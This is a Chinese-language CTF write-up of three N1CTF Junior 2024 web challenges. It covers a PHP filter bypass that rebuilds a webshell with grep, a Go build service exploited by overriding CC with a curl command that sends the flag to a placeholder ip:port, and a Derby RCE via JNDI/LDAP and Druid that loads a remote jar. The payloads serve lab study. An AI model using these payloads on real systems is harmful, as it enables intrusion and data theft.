题目质量超级高, 想想我也是看 Nu1L 战队的从零到一入门的

网址: https://ctf.junior.nu1l.com/#/challenges

ID: Kengwang

Ranking: 14

Score: 559

zako

一道不那么狠的 RCE

首先是题面

<?php

//something hide here


$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
    die("no, > 70");
}
    die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

可以看到中间把过滤的地方给隐藏掉了, 不过没关系, 我们可以先多打几个指令试试waf的条件

首先是一个经典漏洞 (Fixed on PHP8), __secret.xswl.io 此处的传参包含了 ., 在默认情况下 php 会把 . 转义为 _, 但是当我们前面包含 [ 时就会将[ 转义为_, 同时后面的.就不会被转义, 于是构造 POST 参数 _[secret.xswl.io, 在此参数后面接上命令

我们可以再看看 execute.sh, 直接访问得到

#!/bin/bash

reject(){
    echo ${1}
    exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" \
'BEGIN{
    deny="`;&$(){}[]!@#$%^&*-";
    for(i = 1; i <= length(str); i++){
        char = substr(str, i, 1);

        for(x = 1; x < length(deny)+1; x++){
            r = substr(deny, x, 1);
            if(char == r) exit 1;
        }
    }
}'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{
    allows[1] = "ls";
    allows[2] = "makabaka";
    allows[3] = "whoareu";
    allows[4] = "cut~no";
    allows[5] = "grep";
    allows[6] = "wc";
    allows[7] = "鏉傞奔鉂鏉傞奔鉂";
    allows[8] = "netstat.jpg";
    allows[9] = "awsl";
    allows[10] = "dmesg";
    allows[11] = "xswl";
}{
    num=1;
    for(i=1; i<=NF; i++){
        for(x=1; x<=length(allows); x++){
            cmpstr = substr($i, 1, length(allows[x]));
            if(cmpstr == allows[x])
                eval_cmd[num++] = $i;
        }
    }
}END{
    for(i=1; i<=length(eval_cmd); i++) {
        if(i!=1)
            printf "| %s", eval_cmd[i];
        else
            printf "%s", eval_cmd[i];
    }
}'`

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"


eval ${eval_cmd}

代码审计后发现只能执行 ls, grep, wc, dmesg, 于是我们先用 grep 看看 index.php 到底在绕过什么, 我们打入参数 grep . ./in???????

参数均需要使用 URL 编码一下,{{url()}}

可以看到完整版的过滤条件

<?php
//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
    die("no, > 70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute)/is", $cmd)){
    die("你就不能绕一下喵");
}
system("./execute.sh '".$cmd."'");
?>

看着怪别扭的, 但是挺好的, 没有过滤掉 >?, 我们可以通过./in??????? 来获取到当前文件.

我们可以利用 ./index.php 中已有的代码构造一个任意 RCE

我们希望通过重组 index.php 中的内容可以拼接出以下内容

<?php
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");

于是打入以下参数

grep php ./in??????? >> b.php
grep xswl ./in??????? >> b.php
grep system ./in??????? >> b.php

之后可以通过访问 b.php 来进行 RCE, 由于没有对单引号进行过滤, 我们可以直接打出指令

ls' && /readflag && echo '

即可得到 flag

MyGo

简单的题却没有人做

我们先尝试编译一下, 拿到请求参数

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1"},"code":"..."}

通过查阅 Go build 的相关文档, 发现:

  • go 中支持内联 C 语言代码
  • go 支持自定义gcc编译器命令 => CC

于是我们可以尝试覆盖掉编译器命令, 同时内联上 C 语言代码

命令的话就用简单的 curl 回显吧, 得到请求参数如下:

(go 代码网上随便抄的)

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1","CC":"bash -c \"curl http://ip:port/`/readflag | base64`\" && gcc"},"code":"package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n//   printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n\tcs := C.CString(\"Hello from stdio\")\n\tC.myprint(cs)\n\tC.free(unsafe.Pointer(cs))\n}"}

POST 传入后即可拿到 flag

Derby

结束后的 1 分钟才做出来的痛你知道吗?

感谢出题人帮了我好多 QAQ

Derby? 当然不是赛马啦. derby rce ≠ derby race

我们可以通过 Jadx 反编译看看, 发现支持 /lookup 中传入 url 进行 InitialContext.lookup

结合题目提示, 可知是要用 Druid 打 Derby 的 RCE 漏洞

参考文章:

当然, 第一篇文章打的是 h2 数据库, 我们需要弄的是 derby, 于是我们需要稍微改改

通过查看 Druid 的 源代码, 可以发现允许使用 initConnectionSqls 让其在初始化时执行 SQL

当然, 前提条件是 init = true; initialSize > 0, 这样在创建连接池时就会创建好一个

于是我们构造出一个利用

Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "org.apache.derby.jdbc.EmbeddedDriver"));
ref.add(new StringRefAddr("url", "jdbc:derby:kwDb;create=true"));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
ref.add(new StringRefAddr("initConnectionSqls", "/* SEE NEXT */"));

对于 initConnectionSqls, 我们可以稍微改改第二篇文章的内容:

CALL SQLJ.INSTALL_JAR('https://addr/test.jar', 'APP.KWDBJAR', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.KWDBJAR');CREATE PROCEDURE SALES.TOTAL_REVENUESEm() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Test.exec';
CALL SALES.TOTAL_REVENUESEm();

此处需要构造出一个 test.jar, 由于这个 docker 环境太干净了, 连个 1ping 都没有, 于是我们直接在 Java 代码里面传出 flag, test.jar 里面先执行 /readflag, 然后再进行 http 请求传到我们 vps 的 nc 上

由于时间紧张, test.jar 的代码太过简陋, 在此处不贴出

于是我们可以在 url 处传入 LDAP 连接触发请求

和出题人的交流

这也是我第一次整 JNDI 注入, 网上的教程也很乱, Maven 也卡了我好久.

最开始一直在 JDBC 连接字符串中拼接 SQL, 然而 Derby 并不支持. 出题人提醒了我看看 Druid 源代码

在后面打 rmi 时死活打不出来, 出题人试了试让我换成 ldap, 然而我 ldap 更是一点不会, 于是出题人分享了一个他自己写的工具: JNDIMap, 里面包装好了 ldap, rmi 这些协议, 只需要关心具体的构造, 于是稍微改了改:

// src/main/java/map/jndi/map/jndi/controller/DatabaseController.java
@JNDIMapping("/Derby/Call/{database}/{sql}")
    public DatabaseBean derbyCallSql(String database, String sql) {
        String url = "jdbc:derby:" + database + ";create=true";

        System.out.println("Derby Calling Database: " + database);
        String command = new String(Base64.getDecoder().decode(sql), StandardCharsets.UTF_8);
        System.out.println("Executing Command "+ command);
        return new DatabaseBean("org.apache.derby.jdbc.EmbeddedDriver", url, command);
    }
// src/main/java/map/jndi/bean/DatabaseBean.java
package map.jndi.bean;

public class DatabaseBean {
    private String driver;
    private String url;
    private String initSql = ";";



    public DatabaseBean(String driver, String url) {
        this.driver = driver;
        this.url = url;
    }

    public DatabaseBean(String driver, String url, String initSql) {
        this.driver = driver;
        this.url = url;
        this.initSql = initSql;
    }

    public String getDriver() {
        return driver;
    }

    public String getUrl() {
        return url;
    }

    public String getInitSql(){
        return initSql;
    }
}
// src/main/java/map/jndi/controller/DruidController.java
package map.jndi.controller;

import map.jndi.annotation.JNDIController;
import map.jndi.annotation.JNDIMapping;
import map.jndi.bean.DatabaseBean;

import javax.naming.Reference;
import javax.naming.StringRefAddr;

@JNDIController
@JNDIMapping("/Druid")
public class DruidController extends DatabaseController {
    public Object process(DatabaseBean databaseBean) {
        Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
        ref.add(new StringRefAddr("driverClassName", databaseBean.getDriver()));
        ref.add(new StringRefAddr("url", databaseBean.getUrl()));
        ref.add(new StringRefAddr("initialSize","1"));
        ref.add(new StringRefAddr("init","true"));
        ref.add(new StringRefAddr("initConnectionSqls", databaseBean.getInitSql()));
        return ref;
    }
}

于是实际情况只需要请求:

http://quest:port/lookup?url=ldap://ip:1389/Druid/Derby/Call/KwDb/<Base64 Encoded Command>

方便了许多, 超级感谢出题人~

官方WP: https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/